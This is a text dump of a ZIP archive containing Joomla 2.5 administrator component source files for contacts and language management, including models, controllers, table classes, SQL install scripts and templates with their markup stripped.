' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('cc.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('cc.id'); $case_when1 .= $query->concatenate(array($c_id, 'cc.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.*, cc.access as category_access, cc.title as category_name, ' .$case_when.','.$case_when1); $query->from('#__contact_details AS a'); $query->join('INNER', '#__categories AS cc on cc.id = a.catid'); $query->where('a.id = ' . (int) $pk); $published = $this->getState('filter.published'); $archived = $this->getState('filter.archived'); if (is_numeric($published)) { $query->where('a.published IN (1,2)'); $query->where('cc.published IN (1,2)'); } $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); try { $db->setQuery($query); $result = $db->loadObject(); if ($error = $db->getErrorMsg()) { throw new Exception($error); } if (empty($result)) { throw new JException(JText::_('COM_CONTACT_ERROR_CONTACT_NOT_FOUND'), 404); } // If we are showing a contact list, then the contact parameters take priority // So merge the contact parameters with the merged parameters if ($this->getState('params')->get('show_contact_list')) { $registry = new JRegistry; $registry->loadString($result->params); $this->getState('params')->merge($registry); } } catch (Exception $e) { $this->setError($e); return false; } if ($result) { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); //get the content by the linked user $query = $db->getQuery(true); $query->select('a.id'); $query->select('a.title'); $query->select('a.state'); $query->select('a.access'); $query->select('a.created'); // SQL Server changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select($case_when1 . ',' . $case_when); $query->from('#__content as a'); $query->leftJoin('#__categories as c on a.catid=c.id'); $query->where('a.created_by = '.(int)$result->user_id); $query->where('a.access IN ('. $groups.')'); $query->order('a.state DESC, a.created DESC'); // filter per language if plugin published if (JLanguageMultilang::isEnabled()) { $query->where(('a.created_by = ' . (int) $result->user_id) . ' AND ' . ('a.language='.$db->quote(JFactory::getLanguage()->getTag()).' OR a.language='.$db->quote('*'))); } if (is_numeric($published)) { $query->where('a.state IN (1,2)'); } $db->setQuery($query, 0, 10); $articles = $db->loadObjectList(); $result->articles = $articles; //get the profile information for the linked user require_once JPATH_ADMINISTRATOR.'/components/com_users/models/user.php'; $userModel = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true)); $data = $userModel->getItem((int)$result->user_id); JPluginHelper::importPlugin('user'); $form = new JForm('com_users.profile'); // Get the dispatcher. $dispatcher = JDispatcher::getInstance(); // Trigger the form preparation event. $dispatcher->trigger('onContentPrepareForm', array($form, $data)); // Trigger the data preparation event. $dispatcher->trigger('onContentPrepareData', array('com_users.profile', $data)); // Load the data into the form after the plugins have operated. $form->bind($data); $result->profile = $form; $this->contact = $result; return $result; } } } } PKs>\Vcom_contact/models/index.htmlnuW+A PKs>\1com_contact/models/contacts.phpnuW+Acontext .= '.'.$layout; } $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id'); $this->setState('filter.category_id', $categoryId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.category_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.name, a.alias, a.checked_out, a.checked_out_time, a.catid, a.user_id' . ', a.published, a.access, a.created, a.created_by, a.ordering, a.featured, a.language'. ', a.publish_up, a.publish_down' ) ); $query->from('#__contact_details AS a'); // Join over the users for the linked user. $query->select('ul.name AS linked_user'); $query->join('LEFT', '#__users AS ul ON ul.id=a.user_id'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } elseif ($published === '') { $query->where('(a.published = 0 OR a.published = 1)'); } // Filter by a single or group of categories. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = '.(int) $categoryId); } elseif (is_array($categoryId)) { JArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); $query->where('a.catid IN ('.$categoryId.')'); } // Filter by search in name. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'author:') === 0) { $search = $db->Quote('%'.$db->escape(substr($search, 7), true).'%'); $query->where('(uc.name LIKE '.$search.' OR uc.username LIKE '.$search.')'); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.name LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering', 'a.name'); $orderDirn = $this->state->get('list.direction', 'asc'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\V#com_contact/models/forms/index.htmlnuW+A PKs>\)"com_contact/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\` PP$com_contact/models/forms/contact.xmlnuW+A
      PKs>\V$com_contact/models/fields/index.htmlnuW+A PKs>\p ,com_contact/models/fields/modal/contacts.phpnuW+Aid.'(id, name, object) {'; $script[] = ' document.id("'.$this->id.'_id").value = id;'; $script[] = ' document.id("'.$this->id.'_name").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Get the title of the linked chart $db = JFactory::getDBO(); $db->setQuery( 'SELECT name' . ' FROM #__contact_details' . ' WHERE id = '.(int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_CONTACT_SELECT_A_CONTACT'); } $link = 'index.php?option=com_contact&view=contacts&layout=modal&tmpl=component&function=jSelectChart_'.$this->id; $html = "\n".'
      '; $html .= ''."\n"; // The active contact id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html .= ''; return $html; } } PKs>\))com_contact/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_contact/models/fields/modal/index.htmlnuW+A PKs>\06&com_contact/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $contactId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text' . ' FROM #__contact_details' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $contactId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $contactId ? 0 : 1); } return implode($html); } } PKs>\)#com_contact/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\s']  com_contact/contact.xmlnuW+A com_contact Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CONTACT_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql contact.php controller.php index.html metadata.xml router.php helpers models views language/en-GB.com_contact.ini com_contact com_contact_contacts com_contact_categories access.xml config.xml contact.php controller.php index.html controllers elements helpers models tables views language/en-GB.com_contact.ini language/en-GB.com_contact.sys.ini PKs>\苹com_contact/contact.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\)"com_contact/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\J($com_contact/helpers/html/contact.phpnuW+A array('disabled.png', 'contacts.featured', 'COM_CONTACT_UNFEATURED', 'COM_CONTACT_TOGGLE_TO_FEATURE'), 1 => array('featured.png', 'contacts.unfeatured', 'JFEATURED', 'COM_CONTACT_TOGGLE_TO_UNFEATURE'), ); $state = JArrayHelper::getValue($states, (int) $value, $states[1]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' . $html .''; } return $html; } } PKs>\V#com_contact/helpers/html/index.htmlnuW+A PKs>\)com_contact/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\888com_contact/helpers/contact.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\Vcom_contact/helpers/index.htmlnuW+A PKs>\V"com_contact/controllers/index.htmlnuW+A PKs>\f%vr r $com_contact/controllers/contacts.phpnuW+AregisterTask('unfeatured', 'featured'); } /** * Method to toggle the featured setting of a list of contacts. * * @return void * @since 1.6 */ function featured() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('featured' => 1, 'unfeatured' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); // Get the model. $model = $this->getModel(); // Access checks. foreach ($ids as $i => $id) { $item = $model->getItem($id); if (!$user->authorise('core.edit.state', 'com_contact.category.'.(int) $item->catid)) { // Prune items that you can't change. unset($ids[$i]); JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_CONTACT_NO_ITEM_SELECTED')); } else { // Publish the items. if (!$model->featured($ids, $value)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_contact&view=contacts'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 1.6 */ public function getModel($name = 'Contact', $prefix = 'ContactModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\)!com_contact/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\tw/#com_contact/controllers/contact.phpnuW+A true)) { return parent::getModel($name, $prefix, array('ignore_request' => false)); } public function submit() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('contact'); $params = JComponentHelper::getParams('com_contact'); $stub = JRequest::getString('id'); $id = (int) $stub; // Get the data from POST $data = JRequest::getVar('jform', array(), 'post', 'array'); $contact = $model->getItem($id); $params->merge($contact->params); // Check for a valid session cookie if ($params->get('validate_session', 0)) { if (JFactory::getSession()->getState() != 'active') { JError::raiseWarning(403, JText::_('COM_CONTACT_SESSION_INVALID')); // Save the data in the session. $app->setUserState('com_contact.contact.data', $data); // Redirect back to the contact form. $this->setRedirect(JRoute::_('index.php?option=com_contact&view=contact&id=' . $stub, false)); return false; } } // Contact plugins JPluginHelper::importPlugin('contact'); $dispatcher = JDispatcher::getInstance(); // Validate the posted data. $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $validate = $model->validate($form, $data); if ($validate === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_contact.contact.data', $data); // Redirect back to the contact form. $this->setRedirect(JRoute::_('index.php?option=com_contact&view=contact&id=' . $stub, false)); return false; } // Validation succeeded, continue with custom handlers $results = $dispatcher->trigger('onValidateContact', array(&$contact, &$data)); foreach ($results as $result) { if ($result instanceof Exception) { return false; } } // Passed Validation: Process the contact plugins to integrate with other applications $results = $dispatcher->trigger('onSubmitContact', array(&$contact, &$data)); // Send the email $sent = false; if (!$params->get('custom_reply')) { $sent = $this->_sendEmail($data, $contact, $params->get('show_email_copy')); } // Set the success message if it was a success if (!($sent instanceof Exception)) { $msg = JText::_('COM_CONTACT_EMAIL_THANKS'); } else { $msg = ''; } // Flush the data from the session $app->setUserState('com_contact.contact.data', null); // Redirect if it is set in the parameters, otherwise redirect back to where we came from if ($contact->params->get('redirect')) { $this->setRedirect($contact->params->get('redirect'), $msg); } else { $this->setRedirect(JRoute::_('index.php?option=com_contact&view=contact&id=' . $stub, false), $msg); } return true; } private function _sendEmail($data, $contact, $copy_email_activated) { $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_contact'); if ($contact->email_to == '' && $contact->user_id != 0) { $contact_user = JUser::getInstance($contact->user_id); $contact->email_to = $contact_user->get('email'); } $mailfrom = $app->getCfg('mailfrom'); $fromname = $app->getCfg('fromname'); $sitename = $app->getCfg('sitename'); $copytext = JText::sprintf('COM_CONTACT_COPYTEXT_OF', $contact->name, $sitename); $name = $data['contact_name']; $email = $data['contact_email']; $subject = $data['contact_subject']; $body = $data['contact_message']; // Prepare email body $prefix = JText::sprintf('COM_CONTACT_ENQUIRY_TEXT', JURI::base()); $body = $prefix . "\n" . $name . ' <' . $email . '>' . "\r\n\r\n" . stripslashes($body); $mail = JFactory::getMailer(); $mail->addRecipient($contact->email_to); $mail->addReplyTo(array($email, $name)); $mail->setSender(array($mailfrom, $fromname)); $mail->setSubject($sitename . ': ' . $subject); $mail->setBody($body); $sent = $mail->Send(); // If we are supposed to copy the sender, do so. // Check whether email copy function activated if ($copy_email_activated == true && isset($data['contact_email_copy'])) { $copytext = JText::sprintf('COM_CONTACT_COPYTEXT_OF', $contact->name, $sitename); $copytext .= "\r\n\r\n" . $body; $copysubject = JText::sprintf('COM_CONTACT_COPYSUBJECT_OF', $subject); $mail = JFactory::getMailer(); $mail->addRecipient($email); $mail->addReplyTo(array($email, $name)); $mail->setSender(array($mailfrom, $fromname)); $mail->setSubject($copysubject); $mail->setBody($copytext); $sent = $mail->Send(); } return $sent; } } PKs>\,,(com_contact/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__contact_details`; PKs>\Vcom_contact/sql/index.htmlnuW+A PKs>\5&com_contact/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE `#__contact_details` ( `id` integer NOT NULL auto_increment, `name` varchar(255) NOT NULL default '', `alias` varchar(255) NOT NULL default '', `con_position` varchar(255) default NULL, `address` text, `suburb` varchar(100) default NULL, `state` varchar(100) default NULL, `country` varchar(100) default NULL, `postcode` varchar(100) default NULL, `telephone` varchar(255) default NULL, `fax` varchar(255) default NULL, `misc` mediumtext, `image` varchar(255) default NULL, `imagepos` varchar(20) default NULL, `email_to` varchar(255) default NULL, `default_con` tinyint(1) unsigned NOT NULL default '0', `published` tinyint(1) NOT NULL default '0', `checked_out` integer unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `ordering` integer NOT NULL default '0', `params` text NOT NULL, `user_id` integer NOT NULL default '0', `catid` integer NOT NULL default '0', `access` tinyint(3) unsigned NOT NULL default '0', `mobile` varchar(255) NOT NULL default '', `webpage` varchar(255) NOT NULL default '', `sortname1` varchar(255) NOT NULL, `sortname2` varchar(255) NOT NULL, `sortname3` varchar(255) NOT NULL, `language` char(7) NOT NULL, `created` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL default '0', `created_by_alias` varchar(255) NOT NULL default '', `modified` datetime NOT NULL default '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL default '0', `metakey` text NOT NULL, `metadesc` text NOT NULL, `metadata` text NOT NULL, `featured` tinyint(3) unsigned NOT NULL default '0' COMMENT 'Set if article is featured.', `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.', `publish_up` datetime NOT NULL default '0000-00-00 00:00:00', `publish_down` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`), KEY `idx_access` (`access`), KEY `idx_checkout` (`checked_out`), KEY `idx_state` (`published`), KEY `idx_catid` (`catid`), KEY `idx_createdby` (`created_by`), KEY `idx_featured_catid` (`featured`,`catid`), KEY `idx_language` (`language`), KEY `idx_xreference` (`xreference`) ) DEFAULT CHARSET=utf8; PKs>\)com_contact/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_contact/elements/index.htmlnuW+A PKs>\Q, com_contact/elements/contact.phpnuW+AgetTemplate(); $fieldName = $control_name.'['.$name.']'; $contact = JTable::getInstance('contact'); if ($value) { $contact->load($value); } else { $contact->title = JText::_('COM_CONTENT_SELECT_A_CONTACT'); } $js = " function jSelectContact(id, name, object) { document.getElementById(object + '_id').value = id; document.getElementById(object + '_name').value = name; document.getElementById('sbox-window').close(); }"; $doc->addScriptDeclaration($js); $link = 'index.php?option=com_contact&task=element&tmpl=component&object='.$name; JHtml::_('behavior.modal', 'a.modal'); $html = "\n".'
      '; // $html .= "\n   "; $html .= ''."\n"; $html .= "\n".''; return $html; } } PKs>\)com_contact/elements/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_contact/tables/index.htmlnuW+A PKs>\#cJcom_contact/tables/contact.phpnuW+AloadArray($array['params']); $array['params'] = (string) $registry; } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = (string) $registry; } return parent::bind($array, $ignore); } /** * Stores a contact * * @param boolean True to update fields even if they are null. * @return boolean True on success, false on failure. * @since 1.6 */ public function store($updateNulls = false) { // Transform the params field if (is_array($this->params)) { $registry = new JRegistry(); $registry->loadArray($this->params); $this->params = (string)$registry; } $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->id) { // Existing item $this->modified = $date->toSql(); $this->modified_by = $user->get('id'); } else { // New newsfeed. A feed created and created_by field can be set by the user, // so we don't touch either of these if they are set. if (!intval($this->created)) { $this->created = $date->toSql(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } // Verify that the alias is unique $table = JTable::getInstance('Contact', 'ContactTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_CONTACT_ERROR_UNIQUE_ALIAS')); return false; } // Attempt to store the data. return parent::store($updateNulls); } /** * Overloaded check function * * @return boolean * @see JTable::check * @since 1.5 */ function check() { $this->default_con = intval($this->default_con); if (JFilterInput::checkAttribute(array ('href', $this->webpage))) { $this->setError(JText::_('COM_CONTACT_WARNING_PROVIDE_VALID_URL')); return false; } /** check for valid name */ if (trim($this->name) == '') { $this->setError(JText::_('COM_CONTACT_WARNING_PROVIDE_VALID_NAME')); return false; } if (empty($this->alias)) { $this->alias = $this->name; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format("Y-m-d-H-i-s"); } /** check for valid category */ if (trim($this->catid) == '') { $this->setError(JText::_('COM_CONTACT_WARNING_CATEGORY')); return false; } // Check the publish down date is not earlier than publish up. if (intval($this->publish_down) > 0 && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // clean up keywords -- eliminate extra spaces between phrases // and cr (\r) and lf (\n) characters from string if (!empty($this->metakey)) { // only process if not empty $bad_characters = array("\n", "\r", "\"", "<", ">"); // array of characters to remove $after_clean = JString::str_ireplace($bad_characters, "", $this->metakey); // remove bad characters $keys = explode(',', $after_clean); // create array using commas as delimiter $clean_keys = array(); foreach($keys as $key) { if (trim($key)) { // ignore blank keywords $clean_keys[] = trim($key); } } $this->metakey = implode(", ", $clean_keys); // put array back together delimited by ", " } // clean up description -- eliminate quotes and <> brackets if (!empty($this->metadesc)) { // only process if not empty $bad_characters = array("\"", "<", ">"); $this->metadesc = JString::str_ireplace($bad_characters, "", $this->metadesc); } return true; } } PKs>\)com_contact/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\7com_contact/controller.phpnuW+A'INT', 'id'=>'INT', 'cid'=>'ARRAY', 'year'=>'INT', 'month'=>'INT', 'limit'=>'UINT', 'limitstart'=>'UINT', 'showall'=>'INT', 'return'=>'BASE64', 'filter'=>'STRING', 'filter_order'=>'CMD', 'filter_order_Dir'=>'CMD', 'filter-search'=>'STRING', 'print'=>'BOOLEAN', 'lang'=>'CMD'); parent::display($cachable, $safeurlparams); return $this; } } PKs>\[zncom_languages/access.xmlnuW+A
      PKs>\ com_languages/config.xmlnuW+A
      PKs>\Vcom_languages/views/index.htmlnuW+A PKs>\)com_languages/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\6(com_languages/views/overrides/index.htmlnuW+APKs>\),com_languages/views/overrides/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\\̌.com_languages/views/overrides/tmpl/default.phpnuW+Astate->get('filter.client') == 'site' ? JText::_('JSITE') : JText::_('JADMINISTRATOR'); $language = $this->state->get('filter.language'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      authorise('core.edit', 'com_languages'); $i = 0; foreach($this->items as $key => $text): ?>
      pagination->getListFooter(); ?>
      escape($key); ?> escape($key); ?> escape($text); ?> pagination->getRowOffset($i); ?>
      PKs>\6-com_languages/views/overrides/tmpl/index.htmlnuW+APKs>\)'com_languages/views/overrides/.htaccessnuW+A Order allow,deny Deny from all PKs>\j55+com_languages/views/overrides/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Overrides'); $this->languages = $this->get('Languages'); $this->pagination = $this->get('Pagination'); // Check for errors if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors)); return; } $this->addToolbar(); parent::display($tpl); } /** * Adds the page title and toolbar * * @return void * * @since 2.5 */ protected function addToolbar() { // Get the results for each action $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_OVERRIDES_TITLE'), 'langmanager'); if ($canDo->get('core.create')) { JToolbarHelper::addNew('override.add'); } if ($canDo->get('core.edit') && $this->pagination->total) { JToolbarHelper::editList('override.edit'); } if ($canDo->get('core.delete') && $this->pagination->total) { JToolbarHelper::deleteList('', 'overrides.delete'); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_languages'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES'); } } PKs>\$Y *com_languages/views/override/view.html.phpnuW+AaddStyleSheet(JURI::root().'media/overrider/css/overrider.css'); JHtml::_('behavior.framework'); $doc->addScript(JURI::root().'media/overrider/js/overrider.js'); $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors)); return; } // Check whether the cache has to be refreshed $cached_time = JFactory::getApplication()->getUserState('com_languages.overrides.cachedtime.'.$this->state->get('filter.client').'.'.$this->state->get('filter.language'), 0); if(time() - $cached_time > 60 * 5) { $this->state->set('cache_expired', true); } // Add strings for translations in Javascript JText::script('COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS'); JText::script('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR'); $this->addToolbar(); parent::display($tpl); } /** * Adds the page title and toolbar * * @return void * * @since 2.5 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE'), 'langmanager'); if ($canDo->get('core.edit')) { JToolBarHelper::apply('override.apply'); JToolBarHelper::save('override.save'); } // This component does not support Save as Copy if ($canDo->get('core.edit') && $canDo->get('core.create')) { JToolBarHelper::save2new('override.save2new'); } if (empty($this->item->key)) { JToolBarHelper::cancel('override.cancel'); } else { JToolBarHelper::cancel('override.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT'); } } PKs>\)+com_languages/views/override/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\“*com_languages/views/override/tmpl/edit.phpnuW+A
      item->key) ? JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND') : JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND'); ?>
      • form->getLabel('key'); ?> form->getInput('key'); ?>
      • form->getLabel('override'); ?> form->getInput('override'); ?>
      • state->get('filter.client') == 'administrator'): ?>
      • form->getLabel('both'); ?> form->getInput('both'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('client'); ?> form->getInput('client'); ?>
      • form->getLabel('file'); ?> form->getInput('file'); ?>
      • form->getInput('searchstring'); ?>
      • form->getLabel('searchtype'); ?> form->getInput('searchtype'); ?>
      PKs>\V,com_languages/views/override/tmpl/index.htmlnuW+A PKs>\V'com_languages/views/override/index.htmlnuW+A PKs>\)&com_languages/views/override/.htaccessnuW+A Order allow,deny Deny from all PKs>\V(com_languages/views/installed/index.htmlnuW+A PKs>\)'com_languages/views/installed/.htaccessnuW+A Order allow,deny Deny from all PKs>\9com_languages/views/installed/tmpl/default_navigation.phpnuW+Astate->get('filter.client_id', 0); ?> PKs>\V-com_languages/views/installed/tmpl/index.htmlnuW+A PKs>\),com_languages/views/installed/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\F/  .com_languages/views/installed/tmpl/default.phpnuW+Aget('id'); $client = $this->state->get('filter.client_id', 0) ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); $clientId = $this->state->get('filter.client_id', 0); ?>
      rows as $i => $row) : $canCreate = $user->authorise('core.create', 'com_languages'); $canEdit = $user->authorise('core.edit', 'com_languages'); $canChange = $user->authorise('core.edit.state', 'com_languages'); ?>
       
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> language);?> escape($row->name); ?> escape($row->language); ?> published, $i, 'installed.', !$row->published && $canChange);?> escape($row->version); ?> escape($row->creationDate); ?> escape($row->author); ?> escape($row->authorEmail); ?>
      PKs>\h>2com_languages/views/installed/tmpl/default_ftp.phpnuW+A

      message); ?>

      PKs>\%`+com_languages/views/installed/view.html.phpnuW+Aftp = $this->get('Ftp'); $this->option = $this->get('Option'); $this->pagination = $this->get('Pagination'); $this->rows = $this->get('Data'); $this->state = $this->get('State'); $document = JFactory::getDocument(); $document->setBuffer($this->loadTemplate('navigation'), 'modules', 'submenu'); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/languages.php'; $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_INSTALLED_TITLE'), 'langmanager.png'); if ($canDo->get('core.edit.state')) { JToolBarHelper::makeDefault('installed.setDefault'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { // Add install languages link to the lang installer component $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Link', 'extension', 'COM_LANGUAGES_INSTALL', 'index.php?option=com_installer&view=languages'); JToolBarHelper::divider(); JToolBarHelper::preferences('com_languages'); JToolBarHelper::divider(); } 